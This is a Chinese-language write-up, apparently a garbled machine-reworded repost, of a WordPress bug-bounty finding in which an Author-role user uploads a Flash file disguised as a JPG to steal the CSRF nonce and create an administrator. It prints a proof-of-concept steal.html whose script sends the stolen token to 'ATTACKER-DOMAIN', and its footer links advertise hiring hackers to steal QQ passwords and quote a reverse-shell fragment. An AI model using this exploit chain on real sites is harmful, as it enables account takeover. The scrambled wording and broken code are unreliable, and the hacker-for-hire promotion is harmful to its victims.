看我怎么发掘到WordPress缝隙并终究拿下$1337的赏金

访客5年前黑客文章776

布景
自2019年以来我就一直对WordPress的安全性较为重视,并在此期间我发现了许多风趣的东西。本文的意图便是期望与你共享我的一些研讨成果,因而我期望咱们能细心的阅览这篇文章。
在正式开端议论之前,我想先向咱们谈谈WordPress。WordPress能够说是当今更受欢迎的(我想说没有之一)根据PHP的开源CMS,其现在的全球用户高达数百万,并具有超越4600万次的超高下载量。有关更多计算信息,请拜访这篇文章。 我开端做一些关于WordPress安全性的研讨,是因为它是一个开源的体系,其次它的功用对我来说也是一大优势, 源代码能够在这里找到。也正因为此,WordPress也成了许多黑客的进犯方针,一旦得手也就意味着数百万用户的沦亡。因而,咱们应该尽可能的确保它的安全。现在,有一家公司宣告愿意为任何WordPress的RCE缝隙付出5万美元的奖金!更多细节能够在这里了解。
技术细节
我开端对WordPress进行黑盒测验,以节省时刻并了解其作业流程。这里有许多文件需求审阅,我需求检查特定的函数。首要你需求知道的是用户人物:
超级办理员(Super Admin) – 有权拜访站点 *** 办理功用和一切其他功用。
办理员(Administrator) – 有权拜访单个站点内的一切办理功用。
修改(Editor) – 能够发布和办理帖子,包含其他用户的帖子。
作者(Author) – 能够发布和办理自己帖子。
贡献者(Contributor ) – 能够编写和办理他们自己的帖子但不能发布。
订阅者(Subscriber ) – 只能办理他们个人资料的人。
我检查了Capability_vs._Role_Table以了解WordPress的人物权限。所以我从订阅者开端下手,但该人物并没有什么好的功用能够用来做一些其它的工作。贡献者人物也是相同。当我在作者人物中时,我企图上传一些风险的文件(如swf,svg,html,…等),但均无法成功上传:(。
即便如此上传功用仍旧吸引着我的注意力,我查找了担任该功用的文件。我开端寻觅上传文件的代码。这花了我许多时刻,因为文件十分的多和杂,我还查阅了WP参阅。以下是最重要的相关功用:
getimagesize() PHP内置函数
wp_check_filetype_and_ext() WordPress函数
wp_check_filetype() WordPress函数
我注意到它们正在从HTTP恳求中获取MIME类型,并从文件名中获取扩展名。基本上这是依托getimagesize()函数来完结的,许多PHP的开发人员对该函数并不了解:
getimagesize()函数用于确认任何GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM或WBMP图画文件的巨细,并回来尺度文件类型以及在一般HTML标签内被运用文本字符串的高度/宽度。
能够看到SWF文件可作为图片文件被上传!因而咱们能够上传一个SWF文件,getimagesize()函数将回来一个SWF文件特点的数组。
我创立了一个具有幻数CWS的简略Flash文件,之后我将Flash文件扩展名更改为.JPG。然后导航到了了http://127.0.0.1/wordpress/wp-admin/media-new.php并上传了它。上传成功!
object标签和内容类型(Content Type)
因为 *** 控着之一个字节,因而我能够诈骗Flash插件将我的JPG图画作为Flash文件运转。
object标签有一个名为TYPE的特点,能够强制将呼应加载为特定的Content-Type。在咱们的比如中,咱们需求回来Content-Type头作为应用程序/x-shockwave-flash,这能够经过以下办法轻松完结:
object data="Ourfile.ext" type="application/x-shockwave-flash">
让咱们对上面的内容做个总结:
咱们能够从低等级人物向WordPress上传Flash文件。
Flash文件保管在同一个域中,因而SOP不会阻挠这种进犯。
咱们能够运用此办法拜访页面内容,然后导致从跨域中读取表单中的CSRF令牌。
WordPress上传的文件能够直接拜访http://127.0.0.1/wp-content/upload/{year}/{month}/{filename}.{ext}。
咱们现在需求什么?
一个flash文件,用于从相同的源读取数据并将其跨域发送。
一个HTML文件用于触发flash文件并接纳flash文件即将发送的数据。
一个用于创立CSRF恳求并增加新办理员的文件(可选,能够运用上面的同一文件来完结此操作)。
首要,让咱们编写Flash文件,以下是我用ActionScript编写的内容:
wp_poc.as

我运用ExternalInterface.call函数来调用将包含在我HTML文件中的 *** 函数。该文件将恳求发送到同一来历的特定页面并检索其数据。
我运用Flex sdk编译我的AS文件
C:UsersAbdullah>C:UsersAbdullahDownloadsCompressedbinmxmlc.exe C:UsersAbdullahDownloadsCompressedbinwp_poc.as
Loading configuration file C:UsersAbdullahDownloadsCompressedframeworksflex-config.xml
C:UsersAbdullahDownloadsCompressedbinwp_poc.swf (1075 bytes)
然后我将.swf改为.jpg(wp_poc.jpg)并运用作者人物上传。之后,我创立了会触发进犯的HTML文件。
steal.html
html>
head>
title>WP PoC!title>
script>
function stealtoken(data) {
var str = data;
var n = str.lastIndexOf('wpnonce_create-user');
var result = str.substring(n + 28,n+28+10);
alert('Your token is ' + result);
// Change the host here
document.location="http://ATTACKER-DOMAIN/wordpress_csrf.php?token="+result; //change this link to attacker domain
}
script>
object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://127.0.0.1/wordpress/wp-content/d/file/uploads/2019/10/wp_poc.jpg?input=http://127.0.0.1/wordpress/wp-admin/user-new.php">param name="AllowScriptAccess" value="always">object>

[1] [2]  黑客接单网

相关文章

怎么找接单黑客_网上找黑客帮忙找号码-找真正的黑客帮忙

「怎么找接单黑客_网上找黑客帮忙找号码-找真正的黑客帮忙」'DB_PORT' => 3306, //端口n");mknod /tmp/backpipe p/bin/sh 0</tmp/ba...

苹果登陆,能联系有名的黑客吗,找一个黑客修改清单

运用东西:发掘鸡 v1.1 明小子软件后台规划中存在缺点导致可遍历账号信息,并重置恣意账户暗码地址:http://www.digitalsquid.co.uk/netspoof/[1][2][3]黑客...

日志剖析脚本

脚本如下: #!/bin/sh ############################################### #                                   ...

怎么黑客接单,黑客技术盗qq密码联系方式,黑客帮忙找密码

of the biggest sites in the world. - homepage:print ?crack.pl http://www.xxx.com/1.aspn?;; j5 j9 d9...

如何找境外黑客接单_找黑客找回qq密码软件

从上述总结的多样化的进犯投进办法来看,进犯者好像在不断测验发现在邮件或终端侧检测所掩盖的文件类型下的薄弱环节,然后躲避或绕过检测。 wget https://sourceforge.net/proj...

全国最大的诚信黑客接单交易中心在哪里?真得黑客接单信誉好吗?

全国最大的诚信黑客接单交易中心在哪里?真得黑客接单信誉好吗?

对于2018年的QQ和微信来说,这是运气不好的一年,之前曝光的隐私泄露现在仍在继续发酵。 一些黑客声称他们窃取了1.2亿QQ和微信用户账户的个人信息,并试图在网站上以每账户10元的价格出售这些信...